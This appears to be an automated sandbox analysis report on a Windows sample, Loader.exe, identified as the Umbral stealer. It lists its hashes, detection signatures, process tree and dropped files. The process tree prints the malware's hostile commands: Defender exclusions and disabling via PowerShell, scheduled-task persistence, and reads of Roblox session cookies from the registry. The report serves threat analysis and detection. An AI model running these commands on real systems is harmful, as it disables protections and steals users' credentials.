Analysis
- user interaction
yes - max time kernel
43s - max time network
46s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
01/09/2026, 23:34
Static task
static1
Behavioral task
behavioral1
Sample
Loader.exe
Resource
win10ltsc2021-20260513-en
Behavioral task
behavioral2
Sample
Loader.exe
Resource
win11-20260513-en
Behavioral task
behavioral3
Sample
Loader.exe
Resource
win11ltsc2024-20260709-en
General
- Target Loader.exe
- Size 1.1MB
- Sample260901-3krxasfc76
- SHA256 5ddd88a2e01fd173974d45eea41d6835ea1e0e6f89ff3165f2b49b256963961c
- MD5 c525491a369b3d926183c5ed3533a5d9
- SHA1 365a5301bab12a7512d636a415c3fca3cf568e3d
- SHA512 5e73fbf150cd593a64fb3656dfab157bbafefe3aaa1cae71cf6b5f4b6ebd3c585ff184c82165936256134d06b220c6f22b91e83caf8d2eb3cfa0f2f420620439
- SSDEEP 24576:NpbdQQqZl8nmoiCqOKGnTpPs9xYo3wxoVrHUgZ:rR5qZ6m0nTpPsPy+jr
- TLSH T1583512CCB52472EED957C032CAD85C68AA50BC77831B5607A8AB106DAD4DCC7DF291F2
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral3/files/0x000e00000001c533-22.dat disable_win_def behavioral3/memory/4600-29-0x00000186C93D0000-0x00000186C9448000-memory.dmp disable_win_def - Detects Umbral payload 4 IoCs
resource yara_rule behavioral3/files/0x000e00000001c533-22.dat family_umbral behavioral3/files/0x000e00000001c533-22.dat family_umbral_obfuscated behavioral3/memory/4600-29-0x00000186C93D0000-0x00000186C9448000-memory.dmp family_umbral behavioral3/memory/4600-29-0x00000186C93D0000-0x00000186C9448000-memory.dmp family_umbral_obfuscated -
pid Process 1200 powershell.exe 2984 powershell.exe 2768 powershell.exe - Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
pid Process 1200 powershell.exe - Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.
pid Process 1200 powershell.exe - Executes dropped EXE 3 IoCs
pid Process 3536 affe_loader.exe 4600 RuntimeBroker.exe 3260 RuntimeBroker.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\W8rLh96O = "\"C:\\Users\\Admin\\AppData\\Roaming\\RuntimeBroker.exe\"" RuntimeBroker.exe - Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- ConfuserEx .NET packer 1 IoCs
Detects ConfuserEx .NET packer.
resource yara_rule behavioral3/memory/4300-1-0x0000000000A40000-0x0000000000B64000-memory.dmp ConfuserEx - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4808 schtasks.exe 5240 schtasks.exe - Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 260 powershell.exe 260 powershell.exe 2768 powershell.exe 2768 powershell.exe 1200 powershell.exe 1200 powershell.exe 2984 powershell.exe 2984 powershell.exe 2984 powershell.exe 1952 powershell.exe 1952 powershell.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3536 affe_loader.exe - Suspicious use of AdjustPrivilegeToken 49 IoCs
description pid Process Token: SeDebugPrivilege 260 powershell.exe Token: SeIncreaseQuotaPrivilege 260 powershell.exe Token: SeSecurityPrivilege 260 powershell.exe Token: SeTakeOwnershipPrivilege 260 powershell.exe Token: SeLoadDriverPrivilege 260 powershell.exe Token: SeSystemProfilePrivilege 260 powershell.exe Token: SeSystemtimePrivilege 260 powershell.exe Token: SeProfSingleProcessPrivilege 260 powershell.exe Token: SeIncBasePriorityPrivilege 260 powershell.exe Token: SeCreatePagefilePrivilege 260 powershell.exe Token: SeBackupPrivilege 260 powershell.exe Token: SeRestorePrivilege 260 powershell.exe Token: SeShutdownPrivilege 260 powershell.exe Token: SeDebugPrivilege 260 powershell.exe Token: SeSystemEnvironmentPrivilege 260 powershell.exe Token: SeRemoteShutdownPrivilege 260 powershell.exe Token: SeUndockPrivilege 260 powershell.exe Token: SeManageVolumePrivilege 260 powershell.exe Token: 33 260 powershell.exe Token: 34 260 powershell.exe Token: 35 260 powershell.exe Token: 36 260 powershell.exe Token: SeDebugPrivilege 2768 powershell.exe Token: SeIncreaseQuotaPrivilege 2768 powershell.exe Token: SeSecurityPrivilege 2768 powershell.exe Token: SeTakeOwnershipPrivilege 2768 powershell.exe Token: SeLoadDriverPrivilege 2768 powershell.exe Token: SeSystemProfilePrivilege 2768 powershell.exe Token: SeSystemtimePrivilege 2768 powershell.exe Token: SeProfSingleProcessPrivilege 2768 powershell.exe Token: SeIncBasePriorityPrivilege 2768 powershell.exe Token: SeCreatePagefilePrivilege 2768 powershell.exe Token: SeBackupPrivilege 2768 powershell.exe Token: SeRestorePrivilege 2768 powershell.exe Token: SeShutdownPrivilege 2768 powershell.exe Token: SeDebugPrivilege 2768 powershell.exe Token: SeSystemEnvironmentPrivilege 2768 powershell.exe Token: SeRemoteShutdownPrivilege 2768 powershell.exe Token: SeUndockPrivilege 2768 powershell.exe Token: SeManageVolumePrivilege 2768 powershell.exe Token: 33 2768 powershell.exe Token: 34 2768 powershell.exe Token: 35 2768 powershell.exe Token: 36 2768 powershell.exe Token: SeDebugPrivilege 1200 powershell.exe Token: SeDebugPrivilege 2984 powershell.exe Token: SeDebugPrivilege 1952 powershell.exe Token: SeSecurityPrivilege 3372 msiexec.exe Token: SeDebugPrivilege 4600 RuntimeBroker.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 3536 affe_loader.exe 3372 msiexec.exe - Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 4300 wrote to memory of 260 4300 Loader.exe 88 PID 4300 wrote to memory of 3536 4300 Loader.exe 90 PID 4300 wrote to memory of 4600 4300 Loader.exe 91 PID 4600 wrote to memory of 2768 4600 RuntimeBroker.exe 92 PID 4600 wrote to memory of 1200 4600 RuntimeBroker.exe 95 PID 4600 wrote to memory of 4808 4600 RuntimeBroker.exe 97 PID 4600 wrote to memory of 5240 4600 RuntimeBroker.exe 99 PID 4600 wrote to memory of 2984 4600 RuntimeBroker.exe 103 PID 4600 wrote to memory of 1952 4600 RuntimeBroker.exe 105 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4300 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAeABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAaABhACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHcAZAB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHgAaAB1ACMAPgA="2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:260
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C:\Users\Admin\AppData\Roaming\affe_loader.exe"C:\Users\Admin\AppData\Roaming\affe_loader.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:3536
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C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4600 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2768
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 23⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Disables automatic submission of suspicious files to Microsoft by Windows Defender
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1200
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C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /create /tn "W8rLh96O" /tr "\"C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe\"" /sc onlogon /rl highest /f3⤵
- Scheduled Task/Job: Scheduled Task
PID:4808
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C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /create /tn "W8rLh96O_svc" /tr "\"C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe\"" /sc minute /mo 5 /rl highest /f3⤵
- Scheduled Task/Job: Scheduled Task
PID:5240
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2984
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1952
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C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"1⤵
- Executes dropped EXE
PID:3260
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3372
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
2Disable or Modify Tools
2Modify Registry
1Obfuscated Files or Information
1Command Obfuscation
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 e56f4a38e0c60f0196c589e1952198368a10927e65ff24d1476ffafc489657f4
- MD5 78b9021e0576c01ec958b87ec52832c1
- SHA1 76df758d602c2d4cc4a4bfa0f3b435cae1ed3ffa
- SHA512 4402163ed9623a392f120417ea0b5049bf0d76b88dd7f4fc70428ef7e76601f25bd534ae916ed9daba859fb6308d6f370712985ccd165f6393dbce7c5c507514
- TLSH T11F216833F3DD8614C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 250fd1562b505953bb079fe3666d695fd9ee78c4b5975f2a9a6e2bc3dc4be691
- MD5 a9a331de30a7df0484402b2482f7ac2a
- SHA1 30f81742d20ac1b92061cd40d80181e789ec6df8
- SHA512 52f97c446c15989bdd7853fc7dadab2f45fa5c164edb0bcdc5338ada29ab0190e20b0823c59d31bb99619ec6f92b53493ed00079298f114d3664ced40be696d0
- TLSH T1A3219833B3CC8614C89E003A10CDAC0036B6CBCB40DECE5B6B80E659A43F698CE60160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 952B
- SHA256 59a616a85b4c18c97628fdc91d595885cac6b00d0b8872028304b93d05cea063
- MD5 785fa91f761987b9972272762d8f1035
- SHA1 5a62a18dee1333059cb928690bf3253ff251356f
- SHA512 d5565cbfc47ebae05bf9af9fdab784eabf7a4a9b86759f03520b4aeb35eb8b428acfe967a7c6fbf47eb21054637322e9c38207918206c00869d6e18728fe848b
- TLSH T14F116633F3CC8624DC5A403650CEAD1137B687CB40DECE6B7B80D154B82F699DE60260
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 9ecf454d8b55b7bc57249021d41b3bb8ae49c6db962c081c3fcfec87c41d5373
- MD5 610f4038baf99b8ee9e40266597a6f8f
- SHA1 7a3f9b3694b4dd63df5788b22183418f653cda19
- SHA512 150d4cc311601c7bb6d9d7068471d9217791411ee172e5a14272e4034e2bdb8b82578dcf838e0a192e9abe5a573ff170870608e353e553d46383762188c14fa0
- TLSH T1C4215333F3CC8624C89A413A50CEAC1036B687DB419ECFABBB84D154A43F699DE61260
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uou5tmhj.ypo.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe
- Size 458KB
- SHA256 059344941a9b0949c40ed3c0aafc6d3d4fee8de37c638be8d59c2a0156f79d91
- MD5 b6114f51453005dc6fd7c49925ebaf1c
- SHA1 355ccc27beae8e50c3ea00e72560af019f17bf5e
- SHA512 6f6d1fc9063cd6247f7dd206eb1889b47b1db1676c833091da6a04df43342c848f525cb43968d3be922f06c266c5ec7d74f2a5fba6ce4342a7c675a80e77158d
- SSDEEP 6144:pANDNvB4JAVSGuZDZAIuIW9pNnJznCGJ98beB/0XDGNTQy4R:pAHcGuZDZMDB/iy
- TLSH T194A44A9057F8D942F1BF5BB4747019AE8B73F603E9A9F74E068C41D80AA3B42D940B67
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\affe_loader.exe
- Size 599KB
- SHA256 e2a4bf39121b8e6c1aa71510297e40d7a008301d53f2209d302f1fd6e072d9b5
- MD5 fd5685408b0fa1c4f1d5ebb8c276f7fc
- SHA1 a6bc1de115ddecc7d446b4d55cc0d2d0e0d6f1dc
- SHA512 4c4d4215af7955db30eb3da76504ffcd60dbe9345172409afb13fd68b8bc7972a3a6a033253e577871b1864c6cf54d98cc56bfb3fee64cb5d0cc52fc1741cba6
- SSDEEP 12288:ypvrHIGev7yaY0stSpUtqSBAq/aPViYOSHYisn4903JLxdZ:2rHIXrOvA+adie4isnf3lx
- TLSH T1A8D4BF86B2F441F8D03BD239D695A61BFA76344417208ADB13E4455A3FA33E05BBF722
- MD5 SHA1 SHA512 SSDEEP TLSH